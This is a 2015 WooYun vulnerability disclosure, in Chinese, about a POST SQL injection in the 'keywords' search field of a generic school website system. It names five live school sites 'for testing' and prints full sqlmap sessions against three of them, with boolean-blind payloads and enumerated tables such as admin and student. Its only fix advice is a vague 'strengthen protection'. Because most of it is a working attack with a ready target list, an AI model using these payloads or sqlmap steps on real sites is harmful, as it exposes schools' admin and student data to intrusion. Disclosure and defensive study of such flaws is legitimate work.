当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0105166

漏洞标题:某通用学校系统SQL注入漏洞之六(影响众多学校网站)

相关厂商:cert国家互联网中心

漏洞作者: 泳少

提交时间:2015-04-01 15:43

修复时间:2015-07-02 18:24

公开时间:2015-07-02 18:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-01: 细节已通知厂商并且等待厂商处理中
2015-04-03: 厂商已经确认,细节仅向厂商公开
2015-04-06: 细节向第三方安全合作伙伴开放
2015-05-28: 细节向核心白帽子及相关领域专家公开
2015-06-07: 细节向普通白帽子公开
2015-06-17: 细节向实习白帽子公开
2015-07-02: 细节向公众公开

简要描述:

不走前台的都不是好漏洞。愚人节快乐~

详细说明:

捡回自己的漏洞。补充下 WooYun: 某通用学校系统SQL注入漏洞之二(影响众多学校网站)
用回那些站点,然后关键字可以构造那个漏洞里面的关键字搜索也可以的。

1.png


提供几枚网站仅供测试

http://www.zsguyi.net/search.asp
http://lmk.xhqedu.gov.cn/search.asp
http://www.zhongke666.com/search.asp
http://hlyx.ez.e21.cn/search.asp
http://www.gfkqzx.com/search.asp


POST注入

漏洞证明:

[root@Hacker~]# Sqlmap sqlmap -r 1.txt
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 11:17:43
[11:17:43] [INFO] parsing HTTP request from '1.txt'
[11:17:44] [INFO] resuming back-end DBMS 'microsoft access'
[11:17:44] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: keywords
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: keywords=1%' AND 5647=5647 AND '%'='&x=36&y=4
---
[11:17:44] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft Access
[11:17:44] [INFO] fetched data logged to text files under 'E:\SQLMAP~1\Bin\outpu
t\www.zsguyi.net'
[*] shutting down at 11:17:44
[root@Hacker~]# Sqlmap sqlmap -r 1.txt --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 11:17:48
[11:17:48] [INFO] parsing HTTP request from '1.txt'
[11:17:48] [INFO] resuming back-end DBMS 'microsoft access'
[11:17:48] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: keywords
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: keywords=1%' AND 5647=5647 AND '%'='&x=36&y=4
---
[11:17:48] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft Access
[11:17:48] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[11:17:48] [INFO] fetching number of tables for database 'Microsoft_Access_maste
rdb'
[11:17:48] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[11:17:48] [INFO] retrieved:
[11:17:48] [INFO] heuristics detected web page charset 'GB2312'
[11:17:49] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' and/or switch '--hex'
[11:17:49] [WARNING] unable to retrieve the number of tables for database 'Micro
soft_Access_masterdb'
[11:17:49] [ERROR] cannot retrieve table names, back-end DBMS is Access
do you want to use common table existence check? [Y/n/q] y
[11:17:50] [INFO] checking table existence using items from 'E:\SQLMAP~1\Bin\txt
\common-tables.txt'
[11:17:50] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 10
[11:17:51] [INFO] starting 10 threads
[11:17:52] [INFO] retrieved: student
[11:17:53] [INFO] retrieved: menu
[11:17:54] [INFO] retrieved: admin
[11:17:55] [INFO] retrieved: news
[11:18:49] [INFO] retrieved: school
Database: Microsoft_Access_masterdb
[5 tables]
+---------+
| admin |
| menu |
| news |
| school |
| student |
+---------+
[11:20:16] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 3142 times
[11:20:16] [INFO] fetched data logged to text files under 'E:\SQLMAP~1\Bin\outpu
t\www.zsguyi.net'
[*] shutting down at 11:20:16
[root@Hacker~]# Sqlmap


[root@Hacker~]# Sqlmap sqlmap -r 3.txt
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 11:21:17
[11:21:17] [INFO] parsing HTTP request from '3.txt'
[11:21:17] [INFO] testing connection to the target url
[11:21:17] [INFO] testing if the url is stable, wait a few seconds
[11:21:19] [INFO] url is stable
[11:21:19] [INFO] testing if POST parameter 'keywords' is dynamic
[11:21:19] [INFO] confirming that POST parameter 'keywords' is dynamic
[11:21:19] [INFO] POST parameter 'keywords' is dynamic
[11:21:19] [INFO] heuristics detected web page charset 'GB2312'
[11:21:19] [WARNING] reflective value(s) found and filtering out
[11:21:19] [INFO] heuristic test shows that POST parameter 'keywords' might be i
njectable (possible DBMS: Microsoft Access)
[11:21:19] [INFO] testing for SQL injection on POST parameter 'keywords'
[11:21:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:21:22] [INFO] POST parameter 'keywords' is 'AND boolean-based blind - WHERE
or HAVING clause' injectable
parsed error message(s) showed that the back-end DBMS could be Microsoft Access.
Do you want to skip test payloads specific for other DBMSes? [Y/n]
[11:21:47] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[11:21:47] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[11:21:51] [INFO] checking if the injection point on POST parameter 'keywords' i
s a false positive
POST parameter 'keywords' is vulnerable. Do you want to keep testing the others
(if any)? [y/N]
sqlmap identified the following injection points with a total of 36 HTTP(s) requ
ests:
---
Place: POST
Parameter: keywords
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: keywords=1%' AND 3899=3899 AND '%'='&x=0&y=0
---
[11:21:57] [INFO] testing Microsoft Access
[11:21:58] [INFO] confirming Microsoft Access
[11:21:58] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft Access
[11:21:58] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 24 times
[11:21:58] [INFO] fetched data logged to text files under 'E:\SQLMAP~1\Bin\outpu
t\hlyx.ez.e21.cn'
[*] shutting down at 11:21:58
[root@Hacker~]# Sqlmap sqlmap -r 3.txt --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 11:22:04
[11:22:04] [INFO] parsing HTTP request from '3.txt'
[11:22:04] [INFO] resuming back-end DBMS 'microsoft access'
[11:22:04] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: keywords
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: keywords=1%' AND 3899=3899 AND '%'='&x=0&y=0
---
[11:22:04] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft Access
[11:22:04] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[11:22:04] [INFO] fetching number of tables for database 'Microsoft_Access_maste
rdb'
[11:22:04] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[11:22:04] [INFO] retrieved:
[11:22:04] [INFO] heuristics detected web page charset 'GB2312'
[11:22:05] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' and/or switch '--hex'
[11:22:05] [WARNING] unable to retrieve the number of tables for database 'Micro
soft_Access_masterdb'
[11:22:05] [ERROR] cannot retrieve table names, back-end DBMS is Access
do you want to use common table existence check? [Y/n/q] y
[11:22:25] [INFO] checking table existence using items from 'E:\SQLMAP~1\Bin\txt
\common-tables.txt'
[11:22:25] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 10
[11:22:26] [INFO] starting 10 threads
[11:22:27] [INFO] retrieved: student
[11:22:27] [INFO] retrieved: menu
[11:22:28] [INFO] retrieved: admin
[11:22:29] [INFO] retrieved: news
[11:22:46] [INFO] retrieved: feedback
[11:23:17] [INFO] retrieved: school
[11:23:21] [INFO] tried 1352/3149 items (43%)
[11:23:22] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
Database: Microsoft_Access_masterdb
[6 tables]
+----------+
| admin |
| feedback |
| menu |
| news |
| school |
| student |
+----------+
[11:24:38] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 3147 times
[11:24:38] [INFO] fetched data logged to text files under 'E:\SQLMAP~1\Bin\outpu
t\hlyx.ez.e21.cn'
[*] shutting down at 11:24:38
[root@Hacker~]# Sqlmap


[root@Hacker~]# Sqlmap sqlmap -r 2.txt
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 11:19:46
[11:19:46] [INFO] parsing HTTP request from '2.txt'
[11:19:47] [INFO] testing connection to the target url
[11:19:47] [INFO] testing if the url is stable, wait a few seconds
[11:19:51] [INFO] url is stable
[11:19:51] [INFO] testing if POST parameter 'keywords' is dynamic
[11:19:51] [INFO] confirming that POST parameter 'keywords' is dynamic
[11:19:54] [INFO] POST parameter 'keywords' is dynamic
[11:19:54] [INFO] heuristics detected web page charset 'GB2312'
[11:19:54] [WARNING] reflective value(s) found and filtering out
[11:19:54] [INFO] heuristic test shows that POST parameter 'keywords' might be i
njectable (possible DBMS: Microsoft Access)
[11:19:54] [INFO] testing for SQL injection on POST parameter 'keywords'
[11:19:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:20:34] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
[11:21:05] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
[11:21:33] [INFO] POST parameter 'keywords' is 'AND boolean-based blind - WHERE
or HAVING clause' injectable
parsed error message(s) showed that the back-end DBMS could be Microsoft Access.
Do you want to skip test payloads specific for other DBMSes? [Y/n]
[11:21:46] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[11:21:46] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[11:22:00] [INFO] checking if the injection point on POST parameter 'keywords' i
s a false positive
POST parameter 'keywords' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
[11:22:27] [INFO] testing if POST parameter 'x' is dynamic
[11:22:28] [WARNING] POST parameter 'x' appears to be not dynamic
[11:22:29] [WARNING] heuristic test shows that POST parameter 'x' might not be i
njectable
[11:22:29] [INFO] testing for SQL injection on POST parameter 'x'
[11:22:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:22:41] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[11:23:51] [WARNING] POST parameter 'x' is not injectable
[11:23:51] [INFO] testing if POST parameter 'y' is dynamic
[11:23:52] [WARNING] POST parameter 'y' appears to be not dynamic
[11:23:56] [WARNING] heuristic test shows that POST parameter 'y' might not be i
njectable
[11:23:56] [INFO] testing for SQL injection on POST parameter 'y'
[11:23:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:24:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[11:25:01] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
[11:26:11] [WARNING] POST parameter 'y' is not injectable
sqlmap identified the following injection points with a total of 190 HTTP(s) req
uests:
---
Place: POST
Parameter: keywords
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: keywords=1%' AND 9894=9894 AND '%'='&x=0&y=0
---
[11:26:11] [INFO] testing Microsoft Access
[11:26:12] [INFO] confirming Microsoft Access
[11:26:13] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft Access
[11:26:13] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 24 times
[11:26:13] [INFO] fetched data logged to text files under 'E:\SQLMAP~1\Bin\outpu
t\www.zhongke666.com'
[*] shutting down at 11:26:13
[root@Hacker~]# Sqlmap sqlmap -r 2.txt --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 11:26:51
[11:26:51] [INFO] parsing HTTP request from '2.txt'
[11:26:52] [INFO] resuming back-end DBMS 'microsoft access'
[11:26:52] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: keywords
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: keywords=1%' AND 9894=9894 AND '%'='&x=0&y=0
---
[11:26:53] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft Access
[11:26:53] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[11:26:53] [INFO] fetching number of tables for database 'Microsoft_Access_maste
rdb'
[11:26:53] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[11:26:53] [INFO] retrieved:
[11:26:54] [INFO] heuristics detected web page charset 'GB2312'
[11:26:55] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' and/or switch '--hex'
[11:26:55] [WARNING] unable to retrieve the number of tables for database 'Micro
soft_Access_masterdb'
[11:26:55] [ERROR] cannot retrieve table names, back-end DBMS is Access
do you want to use common table existence check? [Y/n/q] y
[11:26:58] [INFO] checking table existence using items from 'E:\SQLMAP~1\Bin\txt
\common-tables.txt'
[11:26:58] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 10
[11:26:58] [INFO] starting 10 threads
[11:27:01] [INFO] retrieved: student
[11:27:01] [INFO] retrieved: menu
[11:27:06] [INFO] retrieved: admin
[11:27:07] [INFO] retrieved: news
[11:27:53] [INFO] retrieved: feedback
[11:29:10] [INFO] tried 1181/3146 items (38%)
[11:29:10] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[11:29:17] [INFO] retrieved: school
[11:30:16] [INFO] tried 1703/3146 items (54%)
[11:30:16] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[11:32:01] [INFO] tried 2563/3146 items (81%)
[11:32:01] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[11:32:25] [INFO] tried 2697/3146 items (86%)
[11:32:25] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[11:33:14] [INFO] tried 3081/3146 items (98%)
[11:33:16] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[11:33:24] [INFO] tried 3113/3146 items (99%)
[11:33:25] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[11:33:46] [INFO] tried 3146/3146 items (100%)
[11:33:48] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
Database: Microsoft_Access_masterdb
[6 tables]
+----------+
| admin |
| feedback |
| menu |
| news |
| school |
| student |
+----------+
[11:33:49] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 3143 times
[11:33:49] [INFO] fetched data logged to text files under 'E:\SQLMAP~1\Bin\outpu
t\www.zhongke666.com'
[*] shutting down at 11:33:49
[root@Hacker~]# Sqlmap

修复方案:

加强保护

版权声明:转载请注明来源 泳少@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-04-03 18:23

厂商回复:

CNVD确认所述漏洞情况,暂未建立与软件生产厂商(或网站管理单位)的直接处置渠道,待认领。

最新状态:

暂无